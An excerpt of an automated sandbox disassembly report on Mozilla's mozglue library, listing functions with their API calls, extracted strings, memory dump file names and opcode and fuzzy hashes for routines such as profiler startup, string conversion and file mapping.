_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEEC8C

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

GetCurrentThreadId.KERNEL32 ref: 6CDEECA1
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CDEECC5
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CDEED19
CloseHandle.KERNEL32(?), ref: 6CDEED28
free.MOZGLUE(00000000), ref: 6CDEED2F
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CDEEC94

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 7a34a36d303ca81066a8cb4c5ebe4519b1792e6d3808e43046dad46c71537c9c
Instruction ID: fc2230e15a0d1d0d8c92777364cb7b3f1cca0c9617343c541084f974314b5427
Opcode Fuzzy Hash: 7a34a36d303ca81066a8cb4c5ebe4519b1792e6d3808e43046dad46c71537c9c
Instruction Fuzzy Hash: 5621E275A00118EBDB019F64DC08BAA7779EB4A26CF244210FC1A97B61DBBD98058BB1

Function 6CDE8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CDAEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDAEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CDEB392,?,?,00000001), ref: 6CDE91F4

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

Strings

stack-chart, xrefs: 6CDE90B2
timeline-overview, xrefs: 6CDE907A
timeline-fileio, xrefs: 6CDE90A4
marker-chart, xrefs: 6CDE905E
name, xrefs: 6CDE8F16
timeline-ipc, xrefs: 6CDE9096
data, xrefs: 6CDE90E8
marker-table, xrefs: 6CDE906C
timeline-memory, xrefs: 6CDE9088

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 09caa052c482921388768b371bf2c0a159765f6939c84ccf47af5c3b959bce2c
Instruction ID: 16842a3b9ff37b13effcfb874e84c0c98c09726d4fa431c3ad65691e351a5e5c
Opcode Fuzzy Hash: 09caa052c482921388768b371bf2c0a159765f6939c84ccf47af5c3b959bce2c
Instruction Fuzzy Hash: F3B1C6B1A012099BDF04CF98C8967EEBBB5FF88318F604019D4066BFA0D7759A55CBE1

Function 6CDCC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDCC5A3
WideCharToMultiByte.KERNEL32 ref: 6CDCC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CDCC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CDCCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CDCCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDCCAA5

Strings

(null), xrefs: 6CDCC596
0, xrefs: 6CDCD30A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 5ab9b1ba904a1d7ec7f825995a233a2a0b3b849226e1d1b5f3433769930ee67f
Instruction ID: 95b24da442b0a8ebe35932d7225b1b3298453ac3125efae6689007eaf49269c8
Opcode Fuzzy Hash: 5ab9b1ba904a1d7ec7f825995a233a2a0b3b849226e1d1b5f3433769930ee67f
Instruction Fuzzy Hash: 19A1AA307083418FDB10DF29C98871ABBF9AFC9748F14886DE99997661D735E805CB93

Function 6CDCC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CDCC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CDCC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CDCC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CDCC891

Strings

INF, xrefs: 6CDCC794
nan, xrefs: 6CDCC7A8
NAN, xrefs: 6CDCC7AD
inf, xrefs: 6CDCC78F

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 37012e98d624d6e480196b6b38dc65e51b067ed44e0a3961371c781f18049e48
Instruction ID: d2ff285846628082316a4a0b02f296b9e976e77c285d69f4503f2100b315cd86
Opcode Fuzzy Hash: 37012e98d624d6e480196b6b38dc65e51b067ed44e0a3961371c781f18049e48
Instruction Fuzzy Hash: 34517F706087448BDB009F68C58169AFBF5BFCA308F004A2DEAD5A7660E774D9858B43

Function 6CDA4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CDE4843,?), ref: 6CDA45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CDE4843,?), ref: 6CDA468A
free.MOZGLUE(?,?,?,?,?,?,6CDE4843,?), ref: 6CDA46C9
free.MOZGLUE(?), ref: 6CDA46EF
free.MOZGLUE(?), ref: 6CDA4712
free.MOZGLUE(?), ref: 6CDA4735
free.MOZGLUE(?), ref: 6CDA4758
free.MOZGLUE(?), ref: 6CDA477B
free.MOZGLUE(?), ref: 6CDA479E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1e744279ec285106056124fdf149746180db824d1a7377bc2f47252627ad9715
Instruction ID: a35ac7154958c5a97580393abf7dbd0b6cc49a28d11281ca31ad9d7be4358492
Opcode Fuzzy Hash: 1e744279ec285106056124fdf149746180db824d1a7377bc2f47252627ad9715
Instruction Fuzzy Hash: 8BB1F672A001508FDB18DFBCD8907AD77A5AF42328F185629E416DBBB6DF31D8428B91

Function 6CE0AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CE0AC52
CreateFileMappingW.KERNEL32 ref: 6CE0AC7D
GetSystemInfo.KERNEL32 ref: 6CE0AC98
MapViewOfFile.KERNEL32 ref: 6CE0ACB0
GetSystemInfo.KERNEL32 ref: 6CE0ACCD
MapViewOfFile.KERNEL32 ref: 6CE0AD05
UnmapViewOfFile.KERNEL32 ref: 6CE0AD1C
CloseHandle.KERNEL32 ref: 6CE0AD28
UnmapViewOfFile.KERNEL32 ref: 6CE0AD37
CloseHandle.KERNEL32 ref: 6CE0AD43
CloseHandle.KERNEL32 ref: 6CE0AD67

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 50884ef0297a59207fd1e8e03b45a4d2d8b6883dcbfd153c27a4251c2b7bb948
Instruction ID: 98f0c8a261a54486ab801df928a62ef9c8a434a6ea555d72645a94f8fd09fe7b
Opcode Fuzzy Hash: 50884ef0297a59207fd1e8e03b45a4d2d8b6883dcbfd153c27a4251c2b7bb948
Instruction Fuzzy Hash: 76316FB1E047098FDB00AF78D64966EBBF0FF85309F15492DE98697311EB749458CB82

Function 6CDB9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CDB9675
__Init_thread_footer.LIBCMT ref: 6CDB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CDB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CDB9707
__Init_thread_footer.LIBCMT ref: 6CDB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CDB9773

Part of subcall function 6CDDAB89: EnterCriticalSection.KERNEL32(6CE2E370,?,?,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284), ref: 6CDDAB94
Part of subcall function 6CDDAB89: LeaveCriticalSection.KERNEL32(6CE2E370,?,6CDA34DE,6CE2F6CC,?,?,?,?,?,?,?,6CDA3284,?,?,6CDC56F6), ref: 6CDDABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CDB97B7
FreeLibrary.KERNEL32 ref: 6CDB97D0
FreeLibrary.KERNEL32 ref: 6CDB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CDB9824

Strings

NtMapViewOfSection, xrefs: 6CDB9701
ntdll.dll, xrefs: 6CDB96E3
MapViewOfFileNuma2, xrefs: 6CDB97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CDB9670

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 152b7d3fd1e386df992c2707116cf88b6643d8c194a189aca27ade907798da2a
Instruction ID: d61cae4b85e8c447ccaf4dd2d0a21c44b2dc449e969182069a1d11c8c87899bc
Opcode Fuzzy Hash: 152b7d3fd1e386df992c2707116cf88b6643d8c194a189aca27ade907798da2a
Instruction Fuzzy Hash: 0941CEB4A00315DBDF00DFA4D884B977BB4FB4A328F158129ED46A7790D738E809CBA1

Function 6CDB7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDB7EA7
malloc.MOZGLUE(00000001), ref: 6CDB7EB3

Part of subcall function 6CDBCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CDBCB49
Part of subcall function 6CDBCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CDBCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CDB7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CDB7F19
malloc.MOZGLUE(?), ref: 6CDB7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDB7F4D

Strings

d, xrefs: 6CDB7F89

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: dc965c86c4f599c28126ec09197af82df9d4c8990bde5cee451d6113cf8606a8
Instruction ID: 0fb9ca01669a1e8bbe7ac3e3ac11b1a5ef9a32bc416dd69c41b1e81ba1b20bf9
Opcode Fuzzy Hash: dc965c86c4f599c28126ec09197af82df9d4c8990bde5cee451d6113cf8606a8
Instruction Fuzzy Hash: 97312CA1E0074897DB019F78CC45AFEB7B8EF95208F055228DC55A7622FB74E6D8C3A0

Function 6CDB3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CDB3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CDB3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CDB4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CDB40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CDB3CCC), ref: 6CDB40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CDB3CCC), ref: 6CDB40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CDB4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CDB3CCC), ref: 6CDB4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CDB3CCC), ref: 6CDB4157

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 5edefa29da2f7031b4ac493fb249457f74ec143d4383b939426978a78d325303
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: BBA17FF1A40215CFDB40CF69C88065AB7F5FF48318F2545A9D90AAF762D771E886CBA0

Function 6CDA48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CDE483A,?), ref: 6CDA4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CDE483A,?), ref: 6CDA4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CDE483A,?), ref: 6CDA4A82

Part of subcall function 6CDBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CDBCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CDE483A,?), ref: 6CDA4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CDE483A,?), ref: 6CDA4A35

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CDE483A,?), ref: 6CDA4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CDE483A,?), ref: 6CDA4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CDE483A,?), ref: 6CDA4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CDE483A,?), ref: 6CDA4B2C

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 76e55d58d1075d5b634f0f47ae7e581760c5c6536f2de458e2ba77775d13287b
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9C7139B19007069FCB54CFA8C480AAAB7F5FF49308B10563ED15A9BB61EB31F555CB90

Function 6CDF9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDF8273), ref: 6CDF9D65
free.MOZGLUE(6CDF8273,?), ref: 6CDF9D7C
free.MOZGLUE(?,?), ref: 6CDF9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CDF9E0F
free.MOZGLUE(6CDF946B,?,?), ref: 6CDF9E24
free.MOZGLUE(?,?,?), ref: 6CDF9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CDF9EC8
free.MOZGLUE(6CDF946B,?,?,?), ref: 6CDF9EDF
free.MOZGLUE(?,?,?,?), ref: 6CDF9EF5

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 0da6247ffca72e9dd3c8d9a82ef063469c79300ed05a79a2db43bd3047b19986
Instruction ID: 53d930d8710f1ab8249e5ee3b92316f16150e336ecf2c726a9adda1b58f14335
Opcode Fuzzy Hash: 0da6247ffca72e9dd3c8d9a82ef063469c79300ed05a79a2db43bd3047b19986
Instruction Fuzzy Hash: ED71A070A0AB41CBD712CF18C44055BF3F8FF99315B458619E89A5B721EB31E986CB91

Function 6CDFDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CDFDDCF

Part of subcall function 6CDDFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDDFA4B

Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF90FF
Part of subcall function 6CDF90E0: free.MOZGLUE(?,00000000,?,?,6CDFDEDB), ref: 6CDF9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDFDE0D
free.MOZGLUE(00000000), ref: 6CDFDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDFDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDFDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDFDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CDEDEFD,?,6CDB4A68), ref: 6CDFDF32

Part of subcall function 6CDFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CDFDB86
Part of subcall function 6CDFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CDFDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CDEDEFD,?,6CDB4A68), ref: 6CDFDF65
free.MOZGLUE(?), ref: 6CDFDF80

Part of subcall function 6CDC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CDC5EDB
Part of subcall function 6CDC5E90: memset.VCRUNTIME140(ewl,000000E5,?), ref: 6CDC5F27
Part of subcall function 6CDC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CDC5FB2

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 5f74835e722d6172c753f20539877f711ea644b3fb2985e01ea2bbff7fa90fc9
Instruction ID: 0e5d72e4d0d95e53ac08056b65a63b22d8a6536c8599aeb94787016bf2b4a1ee
Opcode Fuzzy Hash: 5f74835e722d6172c753f20539877f711ea644b3fb2985e01ea2bbff7fa90fc9
Instruction Fuzzy Hash: FD51A672701600DBE7119F18D8807AEB3B6BF91308F970518D9AA53B20D731F91BCB92

Function 6CE05D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05DC9
std::_Facet_Register.LIBCPMT ref: 6CE05DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CE05C8C,?,6CDDE829), ref: 6CE05E45

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: b978b2fa379185e6c83e5f21c779c20e9a2ef1eb34367d6b83e06260713d4a59
Instruction ID: 1f593adea0b964cb0e18669c31bbcbbcc6bcc9b3bbd9c91b7de5639282028383
Opcode Fuzzy Hash: b978b2fa379185e6c83e5f21c779c20e9a2ef1eb34367d6b83e06260713d4a59
